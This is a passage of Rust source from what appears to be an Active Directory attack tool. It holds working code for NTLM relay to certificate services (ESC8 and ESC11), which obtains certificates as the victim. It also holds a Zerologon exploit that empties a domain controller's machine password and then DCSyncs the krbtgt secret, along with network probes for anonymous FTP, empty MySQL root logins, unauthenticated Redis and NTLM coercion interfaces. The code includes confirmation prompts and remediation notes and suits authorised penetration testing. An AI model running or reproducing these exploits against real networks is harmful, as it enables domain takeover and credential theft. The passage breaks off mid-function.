trustee_sid.unwrap()
);
println!(
" → attack rbcd --host <trustee-host> --target-spn cifs/{target_object} --target-user Administrator"
);
}
}
Ok(())
}
#[allow(clippy::too_many_arguments)]
async fn relay_esc8(
mut rc: smb2_client::server::RelayConn,
type1: Vec<u8>,
peer: &str,
target_object: &str,
ca_host: &str,
ca_port: u16,
template: &str,
insecure: bool,
) -> Result<()> {
use adcs_relay::{
base64_decode, base64_encode, cert_request_form, parse_ntlm_challenge, parse_request_id,
HttpsClient,
};
println!(
"[+] victim {peer} started NTLM — relaying to https://{ca_host}:{ca_port}/certsrv/ (ESC8)"
);
let mut http = HttpsClient::connect(ca_host, ca_port, insecure).await?;
let csr = adhammer_kerberos::csr::build_csr("adhammer-esc8", None)?;
let csr_pem = pem_wrap("CERTIFICATE REQUEST", &csr.der);
let form = cert_request_form(&csr_pem, template);
let type1_b64 = base64_encode(&type1);
let auth1 = format!("NTLM {type1_b64}");
let headers1: &[(&str, &str)] = &[
("Authorization", &auth1),
("Content-Type", "application/x-www-form-urlencoded"),
("User-Agent", "adhammer-esc8/1"),
];
let r1 = http
.send("POST", "/certsrv/certfnsh.asp", headers1, b"")
.await?;
if r1.status != 401 {
anyhow::bail!(
"CA expected 401 with WWW-Authenticate NTLM Type-2, got {} (server may reject relayed auth)",
r1.status
);
}
let type2 = r1
.header("WWW-Authenticate")
.and_then(parse_ntlm_challenge)
.context("no NTLM Type-2 in WWW-Authenticate")?;
rc.send_challenge(&type2).await?;
let type3 = rc.recv_type3().await?;
let type3_b64 = base64_encode(&type3);
let auth3 = format!("NTLM {type3_b64}");
let headers3: &[(&str, &str)] = &[
("Authorization", &auth3),
("Content-Type", "application/x-www-form-urlencoded"),
("User-Agent", "adhammer-esc8/1"),
];
let r2 = http
.send("POST", "/certsrv/certfnsh.asp", headers3, form.as_bytes())
.await?;
if r2.status != 200 {
anyhow::bail!(
"CA rejected the CSR submission after NTLM auth: HTTP {} (template `{template}` may require different attrs, or the relayed identity lacks Enroll)",
r2.status
);
}
let html = String::from_utf8_lossy(&r2.body);
let req_id = parse_request_id(&html).context("no ReqID in ASP response (submission failed)")?;
println!("[+] CA accepted submission — Request ID {req_id}, fetching certificate…");
let path = format!("/certsrv/certnew.cer?ReqID={req_id}&Enc=b64");
let r3 = http
.send("GET", &path, &[("User-Agent", "adhammer-esc8/1")], b"")
.await?;
if r3.status != 200 {
anyhow::bail!("certnew.cer returned HTTP {} for ReqID {req_id}", r3.status);
}
let cert_bytes = if r3.body.starts_with(b"-----BEGIN") {
r3.body.clone()
} else {
let s = String::from_utf8_lossy(&r3.body);
base64_decode(s.trim())
.map(|der| pem_wrap("CERTIFICATE", &der).into_bytes())
.unwrap_or(r3.body.clone())
};
let cert_path = format!("{target_object}.esc8.pem");
let key_path = format!("{target_object}.esc8.key.pem");
std::fs::write(&cert_path, &cert_bytes)?;
std::fs::write(&key_path, csr.key_pem.as_bytes())?;
println!("[+] certificate written to {cert_path} — key {key_path}");
println!(
" → attack abuse --action pkinit --target <victim-sam> --value {key_path} --kdc <dc> --realm <realm>"
);
Ok(())
}
async fn relay_icpr(
mut rc: smb2_client::server::RelayConn,
type1: Vec<u8>,
peer: &str,
target_object: &str,
ca_host: &str,
template: &str,
) -> Result<()> {
use dcerpc::{epm, icpr, transport::RpcTcp};
println!("[+] victim {peer} started NTLM — relaying to MS-ICPR at {ca_host} (ESC11)");
let port = epm::resolve_port(ca_host, icpr::icpr_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{ca_host}:{port}")).await?;
let type2 = rpc.bind_relay_start(icpr::icpr_syntax(), &type1).await?;
rc.send_challenge(&type2).await?;
let type3 = rc.recv_type3().await?;
rpc.bind_relay_finish(&type3).await?;
println!("[+] relayed CONNECT-level bind to ICPR succeeded as the victim");
let csr = adhammer_kerberos::csr::build_csr("adhammer-esc11", None)?;
let authority = ca_host.split('.').next().unwrap_or(ca_host);
let stub = icpr::encode_cert_server_request(authority, template, &csr.der);
let resp = rpc
.call(icpr::CERT_SERVER_REQUEST_OPNUM, &stub)
.await
.map_err(|e| {
anyhow::anyhow!(
"CertServerRequest failed — the CA likely enforces PKT_PRIVACY on ICPR (matrix-validation-owed): {e}"
)
})?;
let result = icpr::decode_cert_server_response(&resp)?;
if result.disposition != 3 {
anyhow::bail!(
"CA disposition {}: {} (3 = ISSUED, 5 = UNDER SUBMISSION, else denied)",
result.disposition,
result.message
);
}
let cert_pem = pem_wrap("CERTIFICATE", &result.cert_der);
let cert_path = format!("{target_object}.esc11.pem");
let key_path = format!("{target_object}.esc11.key.pem");
std::fs::write(&cert_path, cert_pem.as_bytes())?;
std::fs::write(&key_path, csr.key_pem.as_bytes())?;
println!("[+] ISSUED — certificate written to {cert_path} — key {key_path}");
println!(
" → attack abuse --action pkinit --target <victim-sam> --value {key_path} --kdc <dc> --realm <realm>"
);
Ok(())
}
fn pem_wrap(label: &str, der: &[u8]) -> String {
use adcs_relay::base64_encode;
let b64 = base64_encode(der);
let mut out = format!("-----BEGIN {label}-----\n");
for line in b64.as_bytes().chunks(64) {
out.push_str(std::str::from_utf8(line).unwrap());
out.push('\n');
}
out.push_str(&format!("-----END {label}-----\n"));
out
}
async fn netenum(a: NetArgs) -> Result<()> {
let hosts = expand_targets(&a.targets)?;
let sp = ui::Spinner::start(format!(
"sweeping {} host(s) × {} ports",
hosts.len(),
SERVICES.len()
));
let sem = std::sync::Arc::new(tokio::sync::Semaphore::new(a.concurrency));
let mut set = tokio::task::JoinSet::new();
for host in hosts {
for &(port, svc) in SERVICES {
let sem = sem.clone();
let host = host.clone();
set.spawn(async move {
let _permit = sem.acquire().await.ok()?;
let banner = probe_port(&host, port).await?; Some((host, port, svc, banner))
});
}
}
type PortEntry = (u16, &'static str, Option<String>);
let mut hosts_map: std::collections::HashMap<String, Vec<PortEntry>> = Default::default();
while let Some(r) = set.join_next().await {
if let Ok(Some((host, port, svc, banner))) = r {
hosts_map.entry(host).or_default().push((port, svc, banner));
}
}
let mut signing: std::collections::HashMap<String, (u16, bool)> = Default::default();
for (host, ports) in &hosts_map {
if ports.iter().any(|(p, _, _)| *p == 445) {
if let Ok(mut c) = smb2_client::SmbClient::connect(host).await {
if let Ok(s) = c.probe_signing().await {
signing.insert(host.clone(), s);
}
}
}
}
let mut hosts_sorted: Vec<_> = hosts_map.into_iter().collect();
hosts_sorted.sort_by_key(|(h, _)| {
h.parse::<std::net::Ipv4Addr>()
.map(u32::from)
.unwrap_or(u32::MAX)
});
if hosts_sorted.is_empty() {
sp.done_warn("no live hosts found in range");
} else {
sp.done(&format!("{} live host(s)", hosts_sorted.len()));
}
ui::header(&format!(
"network sweep — {} live host(s)",
hosts_sorted.len()
));
let mut relay = Vec::new();
for (host, mut ports) in hosts_sorted {
ports.sort_by_key(|(p, _, _)| *p);
let has = |p: u16| ports.iter().any(|(x, _, _)| *x == p);
let role = if has(88) && has(389) { "DC " } else { "host" };
println!(" {host:<15} {role}");
for (port, svc, banner) in &ports {
let b = banner
.as_deref()
.map(|s| format!(" {s}"))
.unwrap_or_default();
println!(" {port:<5} {svc:<10}{b}");
}
if let Some((d, req)) = signing.get(&host) {
if *req {
println!(" 445 smb-signing REQUIRED (0x{d:04x})");
} else {
println!(" 445 smb-signing OFF → NTLM-RELAY TARGET (0x{d:04x})");
relay.push(host.clone());
}
}
if a.deep {
for (port, _, _) in &ports {
if let Some(finding) = deep_check(&host, *port, a.zone.as_deref()).await {
println!(" [!] {port:<5} {finding}");
}
}
if let Some(finding) = snmp_public(&host, &a.community).await {
println!(" [!] 161 {finding}");
}
}
}
if !relay.is_empty() {
println!(
"\n[+] {} NTLM-relay target(s) (SMB signing not required): {}",
relay.len(),
relay.join(", ")
);
}
Ok(())
}
async fn probe_port(host: &str, port: u16) -> Option<Option<String>> {
use tokio::io::AsyncReadExt;
use tokio::time::{timeout, Duration};
let connect = smb2_client::socks::dial(host, port);
let mut stream = match timeout(Duration::from_millis(800), connect).await {
Ok(Ok(s)) => s,
_ => return None, };
if !GREETERS.contains(&port) {
return Some(None);
}
let mut buf = [0u8; 256];
let banner = match timeout(Duration::from_millis(600), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let line = String::from_utf8_lossy(&buf[..n]);
Some(line.lines().next().unwrap_or("").trim().to_string())
}
_ => None,
};
Some(banner)
}
async fn deep_check(host: &str, port: u16, zone: Option<&str>) -> Option<String> {
match port {
21 => ftp_anon(host).await,
25 => smtp_vrfy(host).await,
53 => dns_check(host, zone).await,
111 => nfs_showmount(host).await, 135 => rpc_surface(host).await,
873 => rsync_modules(host).await,
1433 => mssql_prelogin(host).await,
3306 => mysql_probe(host).await,
6379 => redis_unauth(host).await,
5900 => vnc_noauth(host).await,
5985 | 5986 => winrm_probe(host, port).await,
_ => None,
}
}
async fn connect(host: &str, port: u16) -> Option<tokio::net::TcpStream> {
tokio::time::timeout(
std::time::Duration::from_millis(1200),
smb2_client::socks::dial(host, port),
)
.await
.ok()?
.ok()
}
async fn read_some(s: &mut tokio::net::TcpStream, buf: &mut [u8]) -> usize {
use tokio::io::AsyncReadExt;
tokio::time::timeout(std::time::Duration::from_millis(900), s.read(buf))
.await
.ok()
.and_then(|r| r.ok())
.unwrap_or(0)
}
async fn esc_registry_scan(a: EscArgs) -> Result<()> {
use crate::esc_registry::{esc10, esc11, esc16, esc6, esc7};
use dcerpc::rrp::RegistryClient;
use smb2_client::SmbClient;
let sp = ui::Spinner::start(format!("{} — SMB auth + \\winreg", a.host));
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let mut reg = RegistryClient::connect(&mut smb, &a.domain, &a.user, &a.password, &a.host)
.await
.map_err(|e| {
let msg = e.to_string();
if msg.contains("0xc00000ac") || msg.contains("open \\winreg") {
anyhow::anyhow!(
"\\winreg unreachable on {} — the Remote Registry service is stopped or \
disabled (STATUS_ILLEGAL_FUNCTION 0xC00000AC). Start it on the CA host \
(`Set-Service RemoteRegistry -StartupType Automatic; Start-Service RemoteRegistry`) \
then rerun. ESC1/2/3/4/9/13 don't need this — only ESC6/10/11/16 read \
registry state.",
a.host
)
} else {
e.into()
}
})?;
sp.done("Remote Registry reachable");
ui::header(&format!("AD CS registry ESC checks — CA {}", a.ca));
let ca = format!(
"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{}",
a.ca
);
let mut hits = Vec::new();
let iflags = reg
.read_value(&ca, "InterfaceFlags")
.await
.ok()
.and_then(|v| v.as_dword())
.unwrap_or(0);
hits.extend(esc11(iflags));
let pm_root = format!("{ca}\\PolicyModules");
let policy = reg
.read_value(&pm_root, "Active")
.await
.map(|v| v.as_string())
.unwrap_or_else(|_| "CertificateAuthority_MicrosoftDefault.Policy".into());
let policy_key = format!("{pm_root}\\{policy}");
if let Ok(v) = reg.read_value(&policy_key, "EditFlags").await {
if let Some(d) = v.as_dword() {
hits.extend(esc6(d));
}
}
if let Ok(v) = reg.read_value(&policy_key, "DisableExtensionList").await {
hits.extend(esc16(&v.as_string()));
}
if let Ok(v) = reg.read_value(&ca, "Security").await {
hits.extend(esc7(&v.data));
}
let is_dc = reg
.read_value(
"SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters",
"DSA Working Directory",
)
.await
.is_ok()
|| reg
.read_value(
"SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters",
"Machine DN Name",
)
.await
.is_ok();
if is_dc {
match reg
.read_value(
"SYSTEM\\CurrentControlSet\\Services\\Kdc",
"StrongCertificateBindingEnforcement",
)
.await
{
Ok(v) => match v.as_dword() {
Some(d) => hits.extend(esc10(d)),
None => hits.push(crate::esc_registry::esc10_absent()),
},
Err(_) => hits.push(crate::esc_registry::esc10_absent()),
}
}
if hits.is_empty() {
ui::ok("no registry-based ESC (ESC6/10/11/16) exposure found");
} else {
for h in &hits {
ui::warn(&format!("{} — {}", h.id, h.title));
ui::field("detail", &h.detail);
}
ui::warn(&format!(
"{} registry-based ESC exposure(s) on {}",
hits.len(),
a.host
));
}
Ok(())
}
async fn zerologon(a: ZerologonArgs) -> Result<()> {
use dcerpc::netlogon::{
detect_zerologon, exploit_set_empty_password, restore_password, restore_password_cleartext,
Zerologon,
};
if let Some(pw) = &a.restore_password {
let sp = ui::Spinner::start(format!(
"{} — full restore of {}$ (cleartext)",
a.host, a.netbios
));
let ok = restore_password_cleartext(&a.host, &a.netbios, pw, a.attempts).await?;
if ok {
sp.done("restore accepted");
ui::ok(&format!(
"machine account {}$ fully restored (NT + AES) — reboot the DC to heal the secure channel.",
a.netbios
));
} else {
sp.done("restore not accepted");
ui::warn("NetrServerPasswordSet2 rejected (DC not vulnerable, or machine password not empty).");
}
return Ok(());
}
if let Some(hex) = &a.restore {
let nt = parse_nt_hash(hex)?;
let sp = ui::Spinner::start(format!(
"{} — restoring {}$ machine hash via Netlogon",
a.host, a.netbios
));
let ok = restore_password(&a.host, &a.netbios, &nt, a.attempts).await?;
if ok {
sp.done("restore accepted");
ui::ok(&format!(
"machine account {}$ set back to {hex} — reboot the DC so LSASS re-reads the (now-matching) secret.",
a.netbios
));
} else {
sp.done("restore not accepted");
ui::warn("NetrServerPasswordSet was rejected (DC no longer vulnerable, or machine password is not empty).");
}
return Ok(());
}
let sp = ui::Spinner::start(format!(
"{} — Netlogon zero-auth probe (≤{} attempts)",
a.host, a.attempts
));
let vuln = match detect_zerologon(&a.host, &a.netbios, a.attempts).await? {
Zerologon::Vulnerable { attempts } => {
sp.done("probe complete");
ui::bad(&format!(
"VULNERABLE to Zerologon (CVE-2020-1472) — Netlogon accepted an unauthenticated \
all-zero secure channel after {attempts} attempt(s)"
));
ui::field(
"impact",
"an unauthenticated attacker can set the DC machine account password to empty → \
DCSync the domain → Domain Admin.",
);
ui::field(
"remediation",
"apply the August 2020 patch + enforce KB4557222.",
);
true
}
Zerologon::NotVulnerable { attempts } => {
sp.done("probe complete");
ui::ok(&format!(
"not vulnerable to Zerologon — all {attempts} attempts rejected (patched/enforced)"
));
false
}
};
if !a.exploit || !vuln {
if vuln {
ui::info("safe detection only — machine password untouched. Re-run with --exploit to prove impact.");
}
return Ok(());
}
ui::bad("EXPLOIT resets the DC machine account password to EMPTY. This is DESTRUCTIVE.");
ui::warn("It orphans the DC's secure channel and can PERMANENTLY BREAK a single-DC domain —");
ui::warn("restore requires the ORIGINAL machine secret and is NOT guaranteed on a lone DC.");
ui::warn(
"Only run against an authorized, RECOVERABLE target (multi-DC domain, or disposable).",
);
if !a.confirm_brick_risk {
ui::info(
"refusing to exploit: re-run with --confirm-brick-risk once you accept the above.",
);
return Ok(());
}
if !a.yes {
use std::io::Write;
print!("Proceed with exploitation? [y/N]: ");
std::io::stdout().flush().ok();
let mut line = String::new();
std::io::stdin().read_line(&mut line).ok();
if !line.trim().eq_ignore_ascii_case("y") {
ui::info("declined — machine password untouched.");
return Ok(());
}
}
let sp = ui::Spinner::start("resetting machine password to empty (Netlogon)");
let ok = exploit_set_empty_password(&a.host, &a.netbios, a.attempts).await?;
if !ok {
sp.done("reset not accepted");
ui::warn(
"NetrServerPasswordSet2 was rejected — the DC may be patched between probe and reset.",
);
return Ok(());
}
sp.done("machine password reset to EMPTY");
let empty_hash = "31d6cfe0d16ae931b73c59d7e0c089c0";
ui::field(
"account",
&format!("{}$ NT hash now = {empty_hash} (empty)", a.netbios),
);
let domain = if a.domain.is_empty() {
&a.netbios
} else {
&a.domain
};
ui::info("DCSync as the DC machine account (empty hash) — proving Domain Admin:");
let exe = std::env::current_exe().map_err(|e| anyhow::anyhow!("current_exe: {e}"))?;
let out = std::process::Command::new(&exe)
.args([
"attack",
"dcsync",
"--host",
&a.host,
"--domain",
domain,
"--user",
&format!("{}$", a.netbios),
"--password",
"",
"--target",
"krbtgt",
])
.output()
.map_err(|e| anyhow::anyhow!("spawn dcsync: {e}"))?;
let dump = String::from_utf8_lossy(&out.stdout);
let mut dumped = false;
for line in dump
.lines()
.filter(|l| l.contains(":::") || l.contains("aes256"))
{
println!(" {line}");
dumped = true;
}
if dumped {
ui::bad("Domain Admin proven — krbtgt secret replicated as the DC machine account (empty password).");
} else {
ui::warn("reset succeeded but DCSync-as-DC$ returned nothing (retry `attack dcsync --user <DC>$ --password \"\"`).");
}
ui::warn("machine password is left EMPTY — RESTORE it now to avoid orphaning the DC:");
ui::field(
"restore",
&format!(
"recover the ORIGINAL {}$ secret from the DC's LSA (secretsdump with a DCSync'd admin \
hash → $MACHINE.ACC) and set it back via NetrServerPasswordSet over a legitimate \
Netlogon channel. (Automated restore is the next build step.)",
a.netbios
),
);
Ok(())
}
async fn posture_scan(a: PostureArgs) -> Result<()> {
use crate::host_posture::{ldap_channel_binding, ldap_signing, spooler_running};
use dcerpc::rrp::RegistryClient;
use smb2_client::SmbClient;
let sp = ui::Spinner::start(format!("{} — SMB auth + \\winreg", a.host));
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let ntds = "SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters";
let (signing, cbt) = {
let mut reg = RegistryClient::connect(&mut smb, &a.domain, &a.user, &a.password, &a.host)
.await
.map_err(|e| {
let msg = e.to_string();
if msg.contains("0xc00000ac") || msg.contains("open \\winreg") {
anyhow::anyhow!(
"\\winreg unreachable on {} — the Remote Registry service is stopped or \
disabled (STATUS_ILLEGAL_FUNCTION 0xC00000AC). Start it on the DC \
(`Set-Service RemoteRegistry -StartupType Automatic; Start-Service RemoteRegistry`) \
then rerun. Spooler-only posture still runs without it — but the LDAP \
signing / channel binding values require registry read.",
a.host
)
} else {
e.into()
}
})?;
let s = reg
.read_value(ntds, "LDAPServerIntegrity")
.await
.ok()
.and_then(|v| v.as_dword());
let c = reg
.read_value(ntds, "LdapEnforceChannelBinding")
.await
.ok()
.and_then(|v| v.as_dword());
(s, c)
};
let spooler_open = smb.open_pipe("spoolss").await.is_ok();
sp.done("posture read");
ui::header(&format!("DC posture — {}", a.host));
let mut hits = Vec::new();
hits.extend(ldap_signing(signing));
hits.extend(ldap_channel_binding(cbt));
hits.extend(spooler_running(spooler_open));
if hits.is_empty() {
ui::ok("LDAP signing + channel binding enforced, no Spooler on the DC — no relay/coercion posture exposure");
} else {
for h in &hits {
ui::warn(&format!("[{}] {} — {}", h.severity, h.id, h.title));
ui::field("detail", &h.detail);
}
ui::warn(&format!(
"{} relay/coercion posture exposure(s) on {}",
hits.len(),
a.host
));
}
Ok(())
}
fn is_esc8_response(resp: &str) -> bool {
let head = resp.split("\r\n\r\n").next().unwrap_or(resp);
let low = head.to_ascii_lowercase();
head.contains(" 401")
&& low.contains("www-authenticate")
&& (low.contains("negotiate") || low.contains("ntlm"))
}
async fn esc8_probe(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 80).await?;
let req =
format!("GET /certsrv/certfnsh.asp HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n");
s.write_all(req.as_bytes()).await.ok()?;
let mut buf = [0u8; 2048];
let n = read_some(&mut s, &mut buf).await;
is_esc8_response(&String::from_utf8_lossy(&buf[..n])).then(|| {
format!(
"ESC8: web enrollment at http://{host}/certsrv exposes NTLM over cleartext (relayable)"
)
})
}
async fn adcsenum(a: DnsArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let sp = ui::Spinner::start("enumerating enterprise CAs");
let mut c = Collector::connect(&cfg).await?;
let cas = c.read_cas().await?;
sp.done(&format!("{} enterprise CA(s) found", cas.len()));
if cas.is_empty() {
ui::warn("no enterprise CA found in the forest");
return Ok(());
}
ui::header("AD CS — Certification Authorities");
let mut esc8 = 0usize;
for (name, host) in &cas {
ui::field(
&format!("CA {name}"),
&format!("host {}", if host.is_empty() { "?" } else { host }),
);
if host.is_empty() {
continue;
}
let sp = ui::Spinner::start(format!("probing {host} web enrollment (ESC8)"));
let hit = esc8_probe(host).await;
match hit {
Some(d) => {
esc8 += 1;
sp.done_warn(&d);
}
None => sp.done(&format!(
"{host}: ESC8 web enrollment not exposed over http/80"
)),
}
}
if esc8 > 0 {
ui::warn(&format!(
"AD CS: {esc8} ESC8 web-enrollment exposure(s) across {} CA(s)",
cas.len()
));
} else {
ui::ok(&format!(
"AD CS: {} CA(s), no ESC8 web-enrollment exposure",
cas.len()
));
}
ui::info("ESC11 (unencrypted ICPR) detection: follow-up — needs a CA config read");
Ok(())
}
async fn ftp_anon(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 21).await?;
let mut buf = [0u8; 512];
read_some(&mut s, &mut buf).await; s.write_all(b"USER anonymous\r\n").await.ok()?;
read_some(&mut s, &mut buf).await;
s.write_all(b"PASS anonymous@adhammer\r\n").await.ok()?;
let n = read_some(&mut s, &mut buf).await;
String::from_utf8_lossy(&buf[..n])
.starts_with("230")
.then(|| "FTP: ANONYMOUS LOGIN ALLOWED".to_string())
}
async fn smtp_vrfy(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 25).await?;
let mut buf = [0u8; 512];
read_some(&mut s, &mut buf).await;
s.write_all(b"VRFY root\r\n").await.ok()?;
let n = read_some(&mut s, &mut buf).await;
let r = String::from_utf8_lossy(&buf[..n]);
(r.starts_with("250") || r.starts_with("252"))
.then(|| "SMTP: VRFY enabled (user enumeration)".to_string())
}
async fn redis_unauth(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 6379).await?;
s.write_all(b"INFO\r\n").await.ok()?;
let mut buf = [0u8; 512];
let n = read_some(&mut s, &mut buf).await;
String::from_utf8_lossy(&buf[..n])
.contains("redis_version")
.then(|| "REDIS: UNAUTHENTICATED (no AUTH required)".to_string())
}
async fn rpc_surface(host: &str) -> Option<String> {
use dcerpc::{epm, Syntax};
let ifaces = [
(
"e3514235-4b06-11d1-ab04-00c04fc2dcd2",
4u16,
0u16,
"DRSUAPI(dcsync)",
),
("367abb81-9844-35f1-ad32-98f038001003", 2, 0, "SVCCTL(exec)"),
("86d35949-83c9-4044-b424-db363231fd0c", 1, 0, "TSCH(exec)"),
(
"338cd001-2244-31f1-aaaa-900038001003",
1,
0,
"RemoteRegistry",
),
(
"c681d488-d850-11d0-8c52-00c04fd90f7e",
1,
0,
"EFSR(petitpotam)",
),
(
"12345678-1234-abcd-ef00-0123456789ab",
1,
0,
"RPRN(printerbug)",
),
];
let mut found = Vec::new();
for (uuid, maj, min, name) in ifaces {
if epm::resolve_port(host, Syntax::new(uuid, maj, min))
.await
.is_ok()
{
found.push(name);
}
}
(!found.is_empty()).then(|| format!("RPC/EPM registered: {}", found.join(", ")))
}
async fn vnc_noauth(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 5900).await?;
let mut ver = [0u8; 12];
tokio::time::timeout(
std::time::Duration::from_millis(900),
s.read_exact(&mut ver),
)
.await
.ok()?
.ok()?;
if &ver[0..3] != b"RFB" {
return None;
}
s.write_all(&ver).await.ok()?; let mut buf = [0u8; 64];
let n = read_some(&mut s, &mut buf).await;
let v = String::from_utf8_lossy(&ver).trim().to_string();
if n >= 2 {
let count = buf[0] as usize;
if buf[1..(1 + count).min(n)].contains(&1) {
return Some(format!("VNC ({v}): NO AUTH (security-type None offered)"));
}
return Some(format!("VNC ({v}): auth required"));
}
None
}
async fn winrm_probe(host: &str, port: u16) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, port).await?;
let req = format!("POST /wsman HTTP/1.1\r\nHost: {host}\r\nContent-Type: application/soap+xml;charset=UTF-8\r\nContent-Length: 0\r\n\r\n");
s.write_all(req.as_bytes()).await.ok()?;
let mut buf = [0u8; 1024];
let n = read_some(&mut s, &mut buf).await;
let r = String::from_utf8_lossy(&buf[..n]);
if r.contains(" 401") {
let mut m = Vec::new();
for a in ["Negotiate", "NTLM", "Kerberos", "Basic"] {
if r.contains(a) {
m.push(a);
}
}
Some(format!(
"WinRM: enabled (auth: {})",
if m.is_empty() {
"unknown".into()
} else {
m.join("/")
}
))
} else {
r.contains("HTTP/1.")
.then(|| "WinRM: HTTP responding".to_string())
}
}
async fn rsync_modules(host: &str) -> Option<String> {
use tokio::io::AsyncWriteExt;
let mut s = connect(host, 873).await?;
let mut buf = [0u8; 1024];
let n = read_some(&mut s, &mut buf).await; let greet = String::from_utf8_lossy(&buf[..n]);
let ver = greet.strip_prefix("@RSYNCD:").map(|v| v.trim())?;
s.write_all(format!("@RSYNCD: {ver}\n").as_bytes())
.await
.ok()?;
s.write_all(b"\n").await.ok()?;
let n = read_some(&mut s, &mut buf).await;
let body = String::from_utf8_lossy(&buf[..n]);
let mods: Vec<&str> = body
.lines()
.map(str::trim)
.filter(|l| !l.is_empty() && !l.starts_with("@RSYNCD"))
.map(|l| l.split_whitespace().next().unwrap_or(l))
.collect();
if mods.is_empty() {
Some("RSYNC: daemon reachable (no anonymous modules listed)".to_string())
} else {
Some(format!(
"RSYNC: {} module(s) exported: {}",
mods.len(),
mods.join(", ")
))
}
}
async fn mysql_probe(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 3306).await?;
let mut hdr = [0u8; 4];
tokio::time::timeout(
std::time::Duration::from_millis(1000),
s.read_exact(&mut hdr),
)
.await
.ok()?
.ok()?;
let plen = (hdr[0] as usize) | (hdr[1] as usize) << 8 | (hdr[2] as usize) << 16;
if !(1..=1024).contains(&plen) {
return None;
}
let mut pkt = vec![0u8; plen];
s.read_exact(&mut pkt).await.ok()?;
if pkt.first() != Some(&10) {
if pkt.first() == Some(&0xff) {
return Some("MySQL: reachable, host-not-allowed / access denied".to_string());
}
return Some("MySQL: reachable (unrecognized handshake)".to_string());
}
let ver_end = pkt[1..].iter().position(|&b| b == 0).map(|p| p + 1)?;
let version = String::from_utf8_lossy(&pkt[1..ver_end]).to_string();
let mut body = Vec::new();
body.extend_from_slice(&0x0008_8201u32.to_le_bytes()); body.extend_from_slice(&0x0100_0000u32.to_le_bytes()); body.push(0x21); body.extend_from_slice(&[0u8; 23]); body.extend_from_slice(b"root\0");
body.push(0x00); body.extend_from_slice(b"mysql_native_password\0");
let mut resp = vec![
body.len() as u8,
(body.len() >> 8) as u8,
(body.len() >> 16) as u8,
1,
];
resp.extend_from_slice(&body);
s.write_all(&resp).await.ok()?;
let mut rh = [0u8; 4];
if s.read_exact(&mut rh).await.is_err() {
return Some(format!(
"MySQL {version}: handshake parsed (login result unavailable)"
));
}
let rlen = (rh[0] as usize) | (rh[1] as usize) << 8 | (rh[2] as usize) << 16;
let mut rp = vec![0u8; rlen.min(1024)];
let _ = s.read_exact(&mut rp).await;
match rp.first() {
Some(0x00) => Some(format!("MySQL {version}: EMPTY root PASSWORD ACCEPTED")),
Some(0x01) if rp.get(1) == Some(&0x03) => Some(format!(
"MySQL {version}: EMPTY root PASSWORD ACCEPTED (caching_sha2 fast-auth)"
)),
_ => Some(format!(
"MySQL {version}: auth required (root/empty rejected)"
)),
}
}
async fn mssql_prelogin(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 1433).await?;
let mut opts = Vec::new();
let data_start = 3 * 2 + 1; opts.extend_from_slice(&[0x00, 0x00, data_start as u8, 0x00, 0x06]); opts.extend_from_slice(&[0x01, 0x00, (data_start + 6) as u8, 0x00, 0x01]); opts.push(0xff); opts.extend_from_slice(&[0u8; 6]); opts.push(0x00); let total = 8 + opts.len();
let mut pkt = vec![0x12, 0x01, (total >> 8) as u8, total as u8, 0, 0, 0, 0]; pkt.extend_from_slice(&opts);
s.write_all(&pkt).await.ok()?;
let mut hdr = [0u8; 8];
tokio::time::timeout(
std::time::Duration::from_millis(1000),
s.read_exact(&mut hdr),
)
.await
.ok()?
.ok()?;
if hdr[0] != 0x04 {
return Some("MSSQL: reachable (unexpected TDS response)".to_string());
}
let len = ((hdr[2] as usize) << 8 | hdr[3] as usize).saturating_sub(8);
let mut body = vec![0u8; len.min(512)];
if s.read_exact(&mut body).await.is_err() || body.len() < 5 {
return Some("MSSQL: TDS PRELOGIN responded".to_string());
}
let (version, enc) = parse_prelogin(&body);
let v = version.unwrap_or_else(|| "unknown".into());
let e = match enc {
Some(0x00) => "encryption OFF (login in cleartext)",
Some(0x02) => "encryption NOT SUPPORTED (login in cleartext)",
Some(0x01) => "encryption available",
Some(0x03) => "encryption REQUIRED",
_ => "encryption state unknown",
};
Some(format!("MSSQL {v}: {e}"))
}
fn parse_prelogin(body: &[u8]) -> (Option<String>, Option<u8>) {
let (mut version, mut enc) = (None, None);
let mut i = 0;
while i + 5 <= body.len() && body[i] != 0xff {
let token = body[i];
let off = (body[i + 1] as usize) << 8 | body[i + 2] as usize;
let l = (body[i + 3] as usize) << 8 | body[i + 4] as usize;
if off + l <= body.len() {
let d = &body[off..off + l];
if token == 0x00 && l >= 4 {
version = Some(format!(
"{}.{}.{}",
d[0],
d[1],
(d[2] as u16) << 8 | d[3] as u16
));
} else if token == 0x01 && l >= 1 {
enc = Some(d[0]);
}
}
i += 5;
}
(version, enc)
}
async fn dns_check(host: &str, zone: Option<&str>) -> Option<String> {
let mut out = Vec::new();
if let Some(v) = dns_version_bind(host).await {
out.push(format!("version.bind={v}"));
}
if let Some(z) = zone {
match dns_axfr(host, z).await {
Some(count) if count > 0 => {
